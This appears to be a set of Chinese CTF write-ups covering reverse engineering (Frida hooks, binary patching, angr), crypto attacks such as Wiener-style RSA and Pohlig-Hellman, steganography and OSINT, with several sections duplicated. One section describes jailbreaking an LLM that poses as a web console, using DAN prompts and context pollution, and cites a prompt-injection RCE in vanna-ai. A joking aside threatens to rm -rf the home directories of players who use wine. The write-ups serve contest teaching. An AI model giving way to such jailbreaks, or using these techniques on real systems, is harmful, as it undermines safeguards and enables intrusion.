  7. 御坂妹妹 - 萌娘百科 万物皆可萌的百科全书 (moegirl.org.cn) 会话时则有 “御坂御坂XXX地说道” 的口癖,而非其他妹妹的 “御坂XXX地说道”。

  8. 《青春猪头少年》巡礼地点大公开(Google坐标强力定位)

  9. 盘点历代日萌萌王和世萌萌王

幸运数字:486,知道的人会心一笑,这个数字的来源还挺多的:安和昴菜月昴、少女乐队也有 486……

题外话:我本来想要把幸运数字改为 0x0d000721 但是我怕没有人懂我,所以改为 486Ciallo~(∠・ω< )⌒☆

【简单】假面之下的 Flag

直接使用strings

其实就是写了个const char flag[]

【简单】假面之下的 Flag

直接使用strings

其实就是写了个const char flag[]

【中等】条件判断

本来写的简单,gin改的中等

扣"1,"就能得到flag

我以为解出人数应该会跟【简单】假面之下的 Flag差不多,甚至更多的,可能是被难度吓到了吧

【中等】答案自动获取器

https://www.bilibili.com/video/BV1Tcx1ecEqT/

为了让这道题不变成win32 api调用题,让同学们使用patch, hook等方式完成,特意让窗口收到点击消息后,触发一次移动,使其被点击后必不在鼠标上。

为了防止直接解密flag,我给printFlag函数加了vmp,副作用是IDA会变得非常卡

对于说没有inline hook题的同学:我这就给你准备hook解法

对于使用wine卡bug过的同学:以后再出win32题,我要加个 检测到wine 就用 在hackergame学到的wine穿透 把他的home给rm -rf了

通过patch使窗口不会跳动

找到消息处理函数的方法:查找SetWindowPos的引用

在Imports里找到SetWindowPos,双击进去右键List cross references to,可以看到在sub140007c10里

大概长这样

.text:0000000140007D73 loc_140007D73:                          ; CODE XREF: sub_140007C10+11C↑j
.text:0000000140007D73                                         ; sub_140007C10+134↑j ...
.text:0000000140007D73                 movzx   eax, [rsp+0E8h+var_24]
.text:0000000140007D7B                 test    eax, eax
.text:0000000140007D7D                 jnz     loc_140007CB7
.text:0000000140007D83                 mov     [rsp+0E8h+uFlags], 5 ; uFlags
.text:0000000140007D8B                 mov     [rsp+0E8h+cy], 0 ; cy
.text:0000000140007D93                 mov     [rsp+0E8h+var_C8], 0 ; cx
.text:0000000140007D9B                 mov     r9d, [rsp+0E8h+Y] ; Y
.text:0000000140007DA3                 mov     r8d, [rsp+0E8h+X] ; X
.text:0000000140007DAB                 xor     edx, edx        ; hWndInsertAfter
.text:0000000140007DAD                 mov     rax, [rsp+0E8h+arg_0]
.text:0000000140007DB5                 mov     rcx, [rax+8]    ; hWnd
.text:0000000140007DB9                 call    cs:__imp_SetWindowPos

把call这一句改成nop即可

通过hook调用

下面将使用frida。保存成js文件后通过frida .\circle.exe -l .\hooking.js调用

由于加了vmp,导致不能hook通过printFlag调用的api(GetCursorPos),所以有两个思路。 但总之先求个image base:

const the_base = Process.getModuleByName("circle.exe").base
console.log("The base address of the module is: " + the_base);
  • 让窗口无法移动:替换SetWindowPos
let fxp = Module.getExportByName(null, "SetWindowPos")
let fp = new NativeFunction(fxp,  "bool", ["int64", "int64", "int", "int", "int", "int", "uint"])
Interceptor.replace(fp, new NativeCallback((h1,h2,x,y,x1,y1,u)=>{return 1},  "bool", ["int64", "int64", "int", "int", "int", "int", "uint"]))
  • 在窗口移动前调用printFlag
const f_addr = the_base.add(0x3d91)
console.log("Func addr: ", f_addr)
const f = new NativeFunction(ptr(f_addr), 'void', ["pointer"]);
Interceptor.attach(ptr(the_base.add(0x83c0)), {
  onEnter: function (args) {
    if (args[1] == 0x200)
      f(args[0])
  },
});

【困难】愤怒喵 NaN~

本想模仿某些题的思路出个只能用angr解的题,但现在发现由于单个函数只判断一个字符,并且返回逻辑非常简单,导致出现了一些爆破的解法,特意打乱的函数调用和数组下标的顺序也被反汇编读取偏移给还原了🤡

还是放一下angr的解法吧。校验的是flag.png,打不开会崩溃,之后从每个so导入一个函数,对某一个字节进行判断。因此需要做一个文件模拟,且不能关掉auto_load_libs。跑的时候如果开了veritesting=True的话,需要几十分钟,不开的话一分钟内就能出来。

import angr
import sys
import claripy
def Go():
    path_to_binary = "./problem" 
    project = angr.Project(path_to_binary)
    start_address =  0x757a

    filename = 'flag.png'
    symbolic_file_size_bytes = 322
    passwd0 = claripy.BVS('password', symbolic_file_size_bytes * 8)
    passwd_file = angr.storage.SimFile(filename, content=passwd0, size=symbolic_file_size_bytes)


    initial_state = project.factory.entry_state(fs={filename: passwd_file})
    simulation = project.factory.simgr(initial_state)
    
    def is_successful(state):
        stdout_output = state.posix.dumps(1)
        if b'G0' in stdout_output:
            return True
        else: 
            return False

    def should_abort(state):
        stdout_output = state.posix.dumps(1)
        if b'N0' in  stdout_output:
            return True
        else: 
            return False

    simulation.explore(find=is_successful, avoid=should_abort)
  
    if simulation.found:
        for i in simulation.found:
            solution_state = i
            solution0 = solution_state.solver.eval(passwd0, cast_to=bytes)
            open("flag2.png", "wb").write(solution0)
    else:
        raise Exception('Could not find the solution')
    
if __name__ == "__main__":
    Go()

【 ? 】qjvmp

这道题的出题思路是:

修改quickjs的字节码格式,使其中的opcode变成op对应的代码块地址,再被迫&=(是否有atom操作)不然没法判断是否需要atom转换,这样就不能一眼看出来每条指令的op了。

check(js)方面想着降低逆向难度,随便整了个ac自动机生成密钥串,然后异或。

但是由于没有打乱那一堆代码块,也没有实现vmp的单op对应多代码块,花指令,随机切vm,导致被hzz同学轻松地秒掉了(也有可能是困难地解决的,但我们可以夸张一点),所以我们看他的wp吧(毕竟我没有自己做过)

hzz的wp

【重要】【必答】调查问卷

【重要】【必答】调查问卷

【简单】签到喵

海报最下方有摩斯密码

.... ...-- .---- .. --- ..--.- .-- --- .-. .---- -..

在线摩斯密码翻译器

使用在线网站解码得到 H31IO_WOR1D

【简单】Flag Installer

出题组为了给大家整点简单又好玩的题,可谓是费劲了心思。在 [软件下载站] 跟 [高速下载器] 当中选择了后者——于是便有了本题 Flag Installer,模拟一个真实软件的安装过程。

本 exe/msi 采用 Advanced Installer 制成,甚至能向下兼容到 Win 7 系统,在配色方面也选用了类似的主题 Sky Blue,可谓是煞费苦心。

坑点1: 这里需要点 [继续但不安装],手速比眼睛还快一不小心点到下一步的话就完了。

image-20241020235100179

坑点2: 这里需要选择 [自定义] 安装,至于为什么,接下来就知道了。

image-20241020235231803

坑点3: 需要把这里的 推荐安装勾掉。这下知道为什么上面要选 [自定义] 了吧,因为它是默认安装!

image-20241020235426799

坑点4: 这里的 快压千万不要勾起来。虽然它默认就是不勾的,但不能排除有人连看都不看,直接把扩展功能全勾上了!

image-20241020235457749

坑点5: 这俩 必须要勾掉!在一堆的选项当中,它们额外显眼。

image-20241020235559731

坑点6: 同样,点 [继续但不安装] 。有些人就是手比眼睛快,可能意识到的时候已经点下去了,哈哈。

image-20241020235650915

**坑点7:**左下角的这玩意儿最坑人,一定要勾掉!国产软件就喜欢搁这些角落玩小动作。

image-20241020235806633

注意以上所有的坑点,便可以顺利得到 Flag 的前半部分

image-20241021000011294

顺带附一张大满贯 :)

image-20241021000110271

那后半部分呢?题目说需要继续安装以获得,那么就安装。到达这个画面,说明安装完了。

image-20241021000238150

但是这时不管点啥,它都只告诉你 "安装成功",没有别的信息。

image-20241021000254960

作为一名合格的计算机使用者,我们需要学会查看它到底安装了什么东西进去。还记得先前有一个选择安装目录的选项吗?Flag Installer 的所有内容便被安装于此地。我们找到这个地方。

image-20241021000621265

如果前面没有把 Hint 安装功能勾掉的话,这里会出现一个 hint.txt,其内容为 “你仔细看过每一项待安装功能的描述了吗?

这时候再仔细看看,发现还真有蹊跷。这个 AccessDB 功能项的描述明确告诉我们,Flag 的后半部分在 flag.mdb 里。

image-20241021000223135

把它勾起来再安装一遍(当然需要先卸载之前的 :),你就能拿到 flag.mdb 在你的硬盘里。

如果安装有 Office 套件的话,直接用 Access 或者 Excel 就可以打开了。

image-20241021001035730

没有的话呢也没关系,随便搜一个在线网站也能打开,例如 https://www.mdbopener.com/ 。

合起来就是:NEX{c820477d_Very_D@nger0Us_tO_1nstaLl_A_SOftW2r1_108e774d9376}

Very Dangerous to Install a Software!!

【简单】时光机器 (Time Machine)

出题组为了给大家整点简单又好玩的题,可谓是费劲了心思。本来是想整一个 COM 程序,只能在 MS-DOS 实模式下运行,后来又一想,不对这不成逆向了吗,拖进 IDA 里秒出,遂放弃之,于是便有了本题——在浏览器里运行 Win 3.1 。

本题源代码基于 https://github.com/copy/v86 修改。

打开网页,按照题目给的描述键入 win /s 便能以 Standard 模式启动 Windows 3.1 。不带这个 /s 参数的话,是以 386 兼容模式启动,但是有 bug,开不起来。

image-20241021002128594

经典的”视窗“图标,大家都见过吗?

image-20241021002316480

进来之后呢,首先你当然可以打开扫雷打上一把 :)

image-20241021002449340

按照题目描述,只要用画图打开 C:\FLAG.BWQ 就可以了。实际上不用修改后缀名,我们首先打开 Paintbrush,左上角 File -> Open,然后就出来一个至今还存在于 Win11 里的上古 COM 文件选择框,左下角文件类型点成 All files,右边选到 C:\ 根目录双击 FLAG.BWQ

image-20241021002608210

使用的是 PIL 默认的字体,手敲时要特别注意区分 1lIio0O 其实还算比较明显。

image-20241021002818670

大家基本上都能跟着操作,体验了一下史前操作系统的使用。Windows 3.1 的操作设计跟 Classic Mac OS 类似,反倒是后来没了的 OS/2 把关闭按钮设在了右上角。同时 Win 3.1 还没有右键功能,并且采用的网络栈协议不是 TCP/IP !虽然能够通过 WinSock 扩展的安装,使其获得 IP 地址,还能与开启 SMBv1 的 Windows 11 操作系统进行文件共享 :) ,但我们这里的运行环境是在 “浏览器” 里,这也为下一题埋下了伏笔。

【简单】隐秘的角落

解法一:

根据题目推测照片是在某个校区拍摄的,图中的明显特征主要为墙面,三角孔,远处的蓝色弧形建筑

蓝色弧形建筑建筑大概率在学校周边地区,可以查找各校区周边街景,在浑南校区周边找到特征符合的建筑

77-1

确定拍摄范围进行尝试即可

77-1

解法二:

根据图片附件信息发现备注GCJ02和GPS信息,也可使用exiftool查看

ExifTool

流地图在各个地区使用的坐标系

地图大陆/港/澳台湾省海外
高德GCJ-02WGS84WGS84
GoogleGCJ-02WGS84WGS84
百度BD-09 / GCJ-02BD-09 / GCJ-02WGS84

BD09坐标系是百度公司基于GCJ-02坐标系进一步加密得到的坐标系统。它在GCJ-02坐标系的基础上,再次应用百度自身的加偏算法,以提高地图数据的安全性和准确性。

地图坐标系转换 - 在线工具

坐标拾取器 | 高德地图API

将度分秒的GPS信息转为度得到123.422765,41.656431

在线经纬度和度分秒转换

77-2

得到精确位置

解法三:

线下真实

【简单】迷失于梦境的光

背景:图片隐写是最常见的类型题,本题是最简单的一种隐写。如果你深入学习,你还会了解到各种基于 PNG、JPG 文件结构的隐写,LSB 隐写,盲水印,音频频谱隐写等,这些都比较常见。


把图片后缀改成 .txt,翻到最后面,就能看到 Flag

【中等】来一次对话吧!

背景:只是想着出一道 AI 的题,梯度攻击太难,所以就来一道贴近生活一点的大语言模型,用的是文心一言智能体


本题无特定题解,给大家看看内部的提示词就知道了。

【困难】Generative WebConsole

首先,没发现本题是 AI 的朋友们,可以在群里发一句 “我是笨比” o( ˶^▾^˶ )o

9999 位人工客服 7 天 24 小时在线执行命令,那可不就是 AI 嘛,哈哈。

当然,本题也真的不是有 9999 个环境执行,要是真有,我能拿出来给你玩吗。

本题的源代码一览:

image-20241022202240161

实际上,近年来,使用 AI 模拟蜜罐的研究层出不穷,而 Prompt Injection 也随着 AI 的广泛运用逐渐引起人们的重视。

CVE-2024-5826 就是一个典型的例子,各位如果感兴趣的话可以去自行复现。一句话来说,就是 vanna-ai 在利用 AI 转换 SQL 语句时,未经过滤地将 AI 的回复塞进 exec() 里执行,攻击者可以通过精确控制 AI 的行为来达到 RCE 。

本题虽然没有 RCE,但从各位的尝试中,也可以看出,“AI” 隐藏得很巧妙。

知道了是 AI 以后,解法就很简单了。从 https://github.com/0xk1h0/ChatGPT_DAN 这类网站上随便拷几个 prompt 多试一试就行。

image-20241022205057172

当然,你也可以利用一些不堪入目的方法套出 flag ,在这里我们就不过多讨论了。

image-20241022205643276

当然,在查看选手们的 wp 之后,还发现一种特别非预期的解法,他搁那儿刷了好多遍 passwd root sudo 什么的,然后有一次突然,cat /secret 就成功了!在这里,我们只能推荐这位同学去买一下彩票 :)

还有的选手使用了一种污染上下文的方法,通过复读它的回复给它设定了一个新的 Terminal 角色,这也是 LLM 的缺点之一,很厉害!

另外,列出一些有意思的统计结果 (˶ˆᗜˆ˵)

word_cloud_full_text

word_cloud_top_50

word_cloud_long

word_cloud_answer_full_text

word_cloud_answer_top_50

word_cloud_answer_long

【 ? 】网络迷途

其实是某比赛的原题,被我搬过来了,这个 wp 也是(

目标是从给出的 output 反推输入。

观察网络结构,前三层为 Conv2d、Conv2d、MaxPool2d。由于 kernel 很小,图像经过三层处理,应 该仍然能肉眼看出 flag。

因此考虑如何恢复出 Linear 层之前的图片。显然,要完全恢复 10 个 channel 是不可行的,因为在 Linear 层之后,经历了 1x1 卷积,将 10 个 channel 合并成了一个 channel。

注意到 1x1 卷积可以认为是各 channel 的加权平均。所以,我们不再尝试恢复出 10 个 channel,而是 去恢复这 10 个 channel 的「均值」。

因此,解题过程为:

  1. 通过 sigmoid 的反函数,恢复 1x1 卷积层之后的图像
  2. 减去 1x1 卷积的 bias、除以 1x1 卷积的 weight 均值,获得 Linear 层之后的「均值输出」
  3. 减去 Linear 层的 bias、乘以 Linear 层的 weight 矩阵之伪逆矩阵,获得「均值图像」
  4. 从图像中观察出 flag,其实后来发现后面有几个字看不清,不过貌似没人到这一步,就算了。
import torch
import torch.nn as nn
import torchvision.transforms as transforms
import torchvision
from PIL import Image
import matplotlib.pyplot as plt
import numpy as np

net = torch.load('net.pt')

y = np.array(Image.open('enc.png').convert('L')) / 255

y = torch.Tensor(y).reshape([1, 285, 2850])

y = -torch.log((1 / y) - 1)

w = net[-3].weight.detach()
x = (((y - net[-2].bias.detach()) / net[-2].weight.detach().sum()
    -net[-3].bias.detach()) @ w.T.pinverse())

plt.imshow(x[0, :, :], cmap='gray')
plt.show()

【简单】高数课 我挚爱的时光~

背景:今年全国大学生信息安全竞赛出了道 PPT 的题,这次比赛也搞了道 PPT 的题,有兴趣的可以去搜搜那道题,藏的位置更多,地方更隐秘,而且还有些加密

【神秘文件】附件 链接:https://pan.baidu.com/s/12JWWpnCj33HctMOxZ4l-NA?pwd=57qf 提取码:57qf


Flag 共分为六个部分,1-6 页每页一个部分:

  1. 第一页的函数图像底下
  1. 第二页的备注中
  1. 可以注意到第三页和其它页相比,不在中间位置,因此可以猜测 ppt 外左上角有东西
  1. 第四页中是和背景色相同的字体色,可以通过动画窗格看到
  1. 第五页的批注中
  1. 第六页出现了一个没有用的图表,右键图表 -> 编辑数据,把它拉大点就能看到

很多人找不到第六部分在哪,在给提示的时候我把第五、六部分的顺序记反了,真是不好意思hhhh

【简单】高数课 我挚爱的时光~

背景:今年全国大学生信息安全竞赛出了道 PPT 的题,这次比赛也搞了道 PPT 的题,有兴趣的可以去搜搜那道题,藏的位置更多,地方更隐秘,而且还有些加密

【神秘文件】附件 链接:https://pan.baidu.com/s/12JWWpnCj33HctMOxZ4l-NA?pwd=57qf 提取码:57qf


Flag 共分为六个部分,1-6 页每页一个部分:

  1. 第一页的函数图像底下
  1. 第二页的备注中
  1. 可以注意到第三页和其它页相比,不在中间位置,因此可以猜测 ppt 外左上角有东西
  1. 第四页中是和背景色相同的字体色,可以通过动画窗格看到
  1. 第五页的批注中
  1. 第六页出现了一个没有用的图表,右键图表 -> 编辑数据,把它拉大点就能看到

很多人找不到第六部分在哪,在给提示的时候我把第五、六部分的顺序记反了,真是不好意思hhhh

【简单】芙芙的解谜之旅

拖开最下方文本框,全选将字体改成黑色可以看到提示zip

91-0

将docx文件后缀改为zip,解压后打开[Content_Types].xml,在注释中得到base64编码flag(修改docx文件并保存时会自动清除不符合文档结构的内容,所以注释也会消失)

ZmxhZ3s2MWFiY2ZhMDQwMWI5MzNlNzBmYzM1NzIxNjdhOWI2Y30=

解base64得到flag

CyberChef

91-1

顺便推荐一下010Editor,可以以16进制的方式直观的分析文件

91-2

可以看到50 4B 03 04正是非常常见的zip文件头,下方还有具体的文件结构分析

凯撒超进化

这题主要是想让大家了解一下密码的发展历史,大部分人对凯撒比较了解,那凯撒之后是什么呢,典型的就是本题的维吉尼亚了。

bdr{jka3bdlS_k5_50_Y45M_guvZboguV4}

爆破

相信大部分人都是这么干的,密钥长度设置为三位就是方便大家这么干的。找个在线网站然后一位一位的试,试出来密文为nex时,flag就有了。

alt text

非爆破

由于提示了flag前三位是nex,将密文的前三位bdr减去nex即可得key:

b - n -> o  
d - e -> z  
r - x -> u

然后用key上在线网站解密即可得到flag


凯撒超进化

这题主要是想让大家了解一下密码的发展历史,大部分人对凯撒比较了解,那凯撒之后是什么呢,典型的就是本题的维吉尼亚了。

bdr{jka3bdlS_k5_50_Y45M_guvZboguV4}

爆破

相信大部分人都是这么干的,密钥长度设置为三位就是方便大家这么干的。找个在线网站然后一位一位的试,试出来密文为nex时,flag就有了。

alt text

非爆破

由于提示了flag前三位是nex,将密文的前三位bdr减去nex即可得key:

b - n -> o  
d - e -> z  
r - x -> u

然后用key上在线网站解密即可得到flag


破解DNA之密

这题wp换个视角,站在选手角度来说

CATA CACC CTAG CTAT CACG CGTA CGGC CCTT CGAA CCCC CCGT GTCT CCTT GTCC CATT CCTT CCGT CGTT CAGC CAAT CACG CATA CCCT GTCG CGAA CGCG CCCT CACG GTCG CCCT CACG CTCT CAGC GTGC CACG CTCT GTCG CGTT CGAA CGCG CTTC 

由于提示了flag开头为nex,然后密文又是四位四位的给,猜测是每四位代表一个ASCII码。拿第一个n来验证。n的二进制为

01 10 11 10

第一段密文为

C A T A

发现好像有这样的映射关系:

01 -> C
10 -> A
11 -> T
00 -> G

写个脚本验证一下这样的关系是否正确:

c = "CATA CACC CTAG CTAT CACG CGTA CGGC CCTT CGAA CCCC CCGT GTCT CCTT GTCC CATT CCTT CCGT CGTT CAGC CAAT CACG CATA CCCT GTCG CGAA CGCG CCCT CACG GTCG CCCT CACG CTCT CAGC GTGC CACG CTCT GTCG CGTT CGAA CGCG CTTC"
s = {'C':'01','A':'10','T':'11','G':'00'}
for i in c.split(" "):
    str = "".join(s[j] for j in i)
    print(chr(int(str,2)),end="")

#nex{dNA_JUS7_5o_SOakdnW4JDWd4Wdwa1dw4OJD}

发现得到最终flag


【中等】2024 爱护你的蟒蛇

转眼间,2024 年已过大半,秋天悄然来临。在这个收获的季节里,除了要照顾好自己,别忘了也要继续好好对待你的「蟒蛇」——Python 哦!

Python 不仅是你的好伙伴,还是你开发项目时的最佳助手。它温柔又强大,无论你是初学者还是经验丰富的开发者,都能在它的陪伴下感受到编程的乐趣。

记得每天喂养它一点新鲜的代码,保持它的活力;定期给它梳理一下臃肿的代码库,让它保持轻盈;还要记得经常带它去见见外面的世界,让它在实战中成长。

2024 年的下半场,让我们携手 Python,一起创造更多精彩的应用吧!

非常简单的代码逻辑,你把这个交给GPT,他都可以秒杀,吐槽一下,本来应该是简单题,但是考虑到有同学不会 python ,就调整为了中等。

题目很简单,check_flag 函数会将输入 xor 0xCC 再加上 3,最后和 enc 进行比较,如果相等,返回 True,否则返回 False。


enc = [159, 166, 177, 180, 133, 249, 159, 181, 144, 135, 249, 187, 168, 252, 181, 144, 149, 161, 252, 144, 153, 178, 181, 161, 249, 159, 144, 245, 159, 165, 144, 125, 249, 183, 166, 144, 146, 249, 182, 187, 144, 156, 159, 245, 164, 166, 188, 144, 250, 159, 144, 251, 249, 251, 245, 174]

def check_flag(text):
    text = list(text)
    for i in range(len(text)):
        text[i] = (ord(text[i]) ^ 0xCC) - 3
    return text == enc

def get_funny_response(is_correct):
    if is_correct:
        responses = [
            "Wow! You've got the magic Python spell right!",
            "Absolutely correct! Keep up the good work.",
            "Bingo! That's the flag we were looking for.",
            "Great job, coder! You cracked it.",
            "Python approves of your skills!"
        ]
    else:
        responses = [
            "Oopsie! That's not quite it. Try again!",
            "Nope, that's not the one. Remember, Python loves readable code!",
            "Sorry, wrong flag. Maybe check your syntax?",
            "Almost there, but not quite. Keep trying!",
            "That's not it, but don't worry, you'll get it!"
        ]
    return responses[random.randint(0, len(responses)-1)]

if __name__ == "__main__":
    import random
    
    user_input = input("Enter your flag: ")
    print(get_funny_response(check_flag(user_input)))

那么,flag 将 check_flag 这个操作反过来,将 enc 加 3 再 xor 0xCC,即可。

enc = [159, 166, 177, 180, 133, 249, 159, 181, 144, 135, 249, 187, 168, 252, 181, 144, 149, 161, 252, 144, 153, 178, 181, 161, 249, 159, 144, 245, 159, 165, 144, 125, 249, 183, 166, 144, 146, 249, 182, 187, 144, 156, 159, 245, 164, 166, 188, 144, 250, 159, 144, 251, 249, 251, 245, 174]

def decrypt_flag(text):
    for i in range(len(text)):
        text[i] = (text[i] + 3) ^ 0xCC
    return bytes(text)

if __name__ == "__main__":
    print(decrypt_flag(enc))

运行结果: b'nex{D0nt_F0rg3t_Th3_Pyth0n_4nd_L0ve_Y0ur_Sn4kes_1n_2024}'

【 ? 】strange_rsa

本题虽然是防ak题,但还是简单说一下

观察一下这个式子

e = inverse_mod(d,(p**2+2)*(q**2+2))

inverse_mod是求逆元的意思

我们对它变一下形

为方便书写,将 记为 ,继续往下推:

然后下面给一个连分数定理,如果存在满足


的有理近似,即能够在的连分数找到

我们把视线切换回这道题,对于这题来说有:


由于肯定大于所以肯定有:


那么肯定能在的连分数里找到,但是不知道喵,这里注意一下,这个定理最神奇的地方在于它是有理近似,即你是不是不重要,你只要能找到近似的值,它就能解。对于这题而言我们来试着找一找的近似:
我们将来近似,最后得到的式子为:

但是,有个更神奇的事,经过测试发现,这题只用去近似就能得到。最后的思路就是用 做连分数展开,寻找

连分数展开网上也有脚本,我只是简单改了一下

最后将联立求解方程,解出

from Crypto.Util.number import *
import gmpy2
def transform(x,y):       #使用辗转相处将分数 x/y 转为连分数的形式
    res=[]
    while y:
        res.append(x//y)
        x,y=y,x%y
    return res
    
def continued_fraction(sub_res):
    numerator,denominator=1,0
    for i in sub_res[::-1]:      #从sublist的后面往前循环
        denominator,numerator=numerator,i*numerator+denominator
    return denominator,numerator   #得到渐进分数的分母和分子,并返回

    
#求解每个渐进分数
def sub_fraction(x,y):
    res=transform(x,y)
    res=list(map(continued_fraction,(res[0:i] for i in range(1,len(res)))))  #将连分数的结果逐一截取以求渐进分数
    return res

def get_pq(a,b,c):      #由p+q和pq的值通过维达定理来求解p和q
    par=gmpy2.isqrt(b*b-4*a*c)   #由上述可得,开根号一定是整数,因为有解
    x1,x2=(-b+par)//(2*a),(-b-par)//(2*a)
    return x1,x2

def wienerAttack(e,n):
    for (d,k) in sub_fraction(e,n):#用一个for循环来注意试探e/n的连续函数的渐进分数,直到找到一个满足条件的渐进分数
        if k==0:                     #可能会出现连分数的第一个为0的情况,排除
            continue
        if (e*d-1)%k!=0:             #ed=1 (mod φ(n)) 因此如果找到了d的话,(ed-1)会整除φ(n),也就是存在k使得(e*d-1)//k=φ(n)
            continue
        
        phi=(e*d-1)//k
        
        if is_prime(d) and int(d).bit_length() == 512: #找出d
            return d,phi
    
c = 12956557937383167105700562085868583488773222138122313505481611592691910504255708934030064860086770507477728706913986188451457461347636241031541919768956809563410145428312483609731977950383346101943382705186560156735715816414371589270039161992966449459847006265245042830193713158234358839530752435471408663425
n = 85237209301421558545124091811415820249470803544372134223951283875690939462440242717757605654620177763019192447672454664723814741942705046977202040621354749978950179460350196080744073445181637616299621894903087477614623828273077713362906245144387147211585165355024499194991495058937144579535048531964112156883
e =  1739958784330054976229698137375913453322936192180504618797675194809604561382914541289989653058249202276502036177048869750543061299056451906842735622258473626293370875729843269286203844098721390285522935597991293485396671703596086055519958931173885766442848639912555679704829275106062460006352366051176252888959162186192425126958970324578423596389917646077683361121389387720071607515592275348821053114084715003702961746887620492058536147687137343667920008141222649215554688002900985398123071244142171817632853217781024669969615680170073737458468369163042720029314784309028174957599880895607713730217840596535287639089

d,phi=wienerAttack(e,n**2)
var('p,q')
solve([(p**2+2)*(q**2+2) == phi, p*q == n],p,q)

对于本题而言求解出来的并不能真正解出我们的密文,根据RSA的解密原理,能解出密文的应该是在模的欧拉函数下的逆元才是真正的私钥,即如下:

d = inverse_mod(e , (p-1)*(q-1))
print(long_to_bytes(int(pow(c,d,n))))
#b'nex{wI3n3r_4Nd_COPper_ArE_cooI_5peC1AI}'

guess_number1

这题其实根本不用什么数论就能解,你只需知道模运算就好了。
另外可能看起来很难,实际上你如果仔细看下来,你会发现是很简单的,当你不知道为什么的时候,拿笔算算或者本地生成数据看看。

解法一

证明

假设现在的情况是

那么有

当分别输入 时得到的实际上是

对于上面这两个数而言,只要把 消掉就能得到 n , 那 怎么来呢?
我们发现在模 下存在这样的性质,即输入后真正得到的:

将其转换到实数域上得到:

同样对于 结果是一样的

那这为什么是呢,最简单的方法就是拿数据测
alt text

现在答案已经很明显了,将相加再减去即可得到
再给大家推一下:

这种方法其实跟 大小无关,反正把 输进去的加起来, 然后减去输入 的值就是

说人话

输入,然后将结果相加,再减去输入得到的结果就是

交互: alt text

解法二

证明

解法二相比一来说需要开方和解方程,我更推荐解法一。
对于而言由于可以直接开方得到p,我使用的是gmpy2的isqrt函数:

from gmpy2 import *
p_2 = 
p = isqrt(p_2)
assert p**2 = p_2

isqrt有个缺陷就是它不会管你是不是完全平方数,如果不是会直接开出离数据最近的数

由于求出了然后对于而言,假设输入后返回的是c有:


大家其实可以发现这就是个一元二次方程,直接解方程就完事了,当然如果你用的是传统的解方程方法也是行的,我用的是sagemth

var('q')
solve([q^2 - p*q == c],q)

然后解出来 后,

说人话

开个方,然后解个小学生可能会的一元二次方程,再把两数乘起来


交互:
alt text

guess_number1

这题其实根本不用什么数论就能解,你只需知道模运算就好了。
另外可能看起来很难,实际上你如果仔细看下来,你会发现是很简单的,当你不知道为什么的时候,拿笔算算或者本地生成数据看看。

解法一

证明

假设现在的情况是

那么有

当分别输入 时得到的实际上是

对于上面这两个数而言,只要把 消掉就能得到 n , 那 怎么来呢?
我们发现在模 下存在这样的性质,即输入后真正得到的:

将其转换到实数域上得到:

同样对于 结果是一样的

那这为什么是呢,最简单的方法就是拿数据测
alt text

现在答案已经很明显了,将相加再减去即可得到
再给大家推一下:

这种方法其实跟 大小无关,反正把 输进去的加起来, 然后减去输入 的值就是

说人话

输入,然后将结果相加,再减去输入得到的结果就是

交互: alt text

解法二

证明

解法二相比一来说需要开方和解方程,我更推荐解法一。
对于而言由于可以直接开方得到p,我使用的是gmpy2的isqrt函数:

from gmpy2 import *
p_2 = 
p = isqrt(p_2)
assert p**2 = p_2

isqrt有个缺陷就是它不会管你是不是完全平方数,如果不是会直接开出离数据最近的数

由于求出了然后对于而言,假设输入后返回的是c有:


大家其实可以发现这就是个一元二次方程,直接解方程就完事了,当然如果你用的是传统的解方程方法也是行的,我用的是sagemth

var('q')
solve([q^2 - p*q == c],q)

然后解出来 后,

说人话

开个方,然后解个小学生可能会的一元二次方程,再把两数乘起来


交互:
alt text

guess_number2

证明

这题你做出来可能需要了解一下欧拉定理,即

的欧拉函数

对于本题而言 欧拉函数为


那么对于而言:


再将其转换到实数域上得到:

其中

说人话

往终端里输入 得到,然后:

交互:
alt text


这题解出人太少是我的责任,没有在题干里提一提欧拉定理。

guess_number3

懒得贴交互的图了

非预期

证明

先说说非预期吧,这个我确实是疏忽了,也导致过的大部分人都是这么做的。
先从费马小定理定理出发:

费马小定理和欧拉定理类似,对于上面式子而言欧拉定理为,因为的欧拉函数为

现在将式子变一下看看:

说人话

当输入式子为时,绝对值加就是,即:

预期一

证明

对于而言有:

大家注意一下这个式子,只有在模 的因数下它才等于2,如果我模的是 的倍数,比如说 会发生下面这种情况
再给模
很神奇的事发生了,再对式子变一下形
那么p即可得到:

gcd是求最大公因数的意思,python里也有现成的函数,用不着自己实现,但我还是用的sagemath

说人话

输入,得到的分别减去后求最大公因数。

别的构造方法也是OK的,核心就是求最大公因数

预期二

请见guess_number3.5,这个是当时突然想到的,所以在比赛最后一天才出guess_number3.5,想用guess_number3.5看看过了guess_number3的有没有用这种方法。

guess_number3.5

这题无解出确实是我的锅,因为最后一天才端上来,我也是当时突然想到guess_number3条件还能再严苛点的。
前方高能预警

证明

离散对数问题指的是对于

已知,把本题的数据带进去就是:
由于只能输入数字,所以就是离散对数问题,上网搜索之后你会发现离散对数虽然以现在的电脑算力很难求,但是如果这个是光滑的话,能够通过Pohlig-Hellman算法来求解。

什么是光滑,就是该数能分解成若干个小素数,什么素数叫小呢,你的电脑能成功分解就证明它包含的素数够小。

为什么要求是x-1光滑的呢,这跟算法本身有关系,看看大佬写的Pohlig-Hellman算法证明。 我相信你是看的很迷糊的,简单解释就是离散对数不是难求嘛,把这个指数分解一下,怎么分解呢,由于是在模 下,对于指数 而言它就是模上了 的欧拉函数,如果是素数,这里就是 在模 下进行运算。把分解成很多小素数,然后在每个小素数下求出模它们的值,然后把数合起来就是

说人话

构造一个光滑素数,然后用Pohlig-Hellman算法求离散对数。

Pohlig-Hellman算法网上有现成的脚本,不理解没关系,不用自己实现,你只需要用搜索引擎找到它,然后输入数据一把梭就行。

贴出我的找光滑素数代码

from Crypto.Util.number import *
while 1:
    x = 0
    x = prod([getPrime(12) for i in range(50)]) #50个素数乘积
    x = 2*x + 1 #素数除了2以外都是奇数,因此如果x是素数,它减去1后必为偶数
    if is_prime(x):
        print(x)
        break

找到这个素数后,把它丢进交互,算出结果,记为,然后用Pohlig-Hellman脚本一把梭

# Baby-step Giant-step法
def babystep_giantstep(g, y, p, q=None):
    if q is None:
        q = p - 1
    m = int(q**0.5 + 0.5)
    # Baby step
    table = {}
    gr = 1  # g^r
    for r in range(m):
        table[gr] = r
        gr = (gr * g) % p
    # Giant step
    try:
        gm = pow(g, -m, p)  # gm = g^{-m}
    except:
        return None
    ygqm = y                # ygqm = y * g^{-qm}
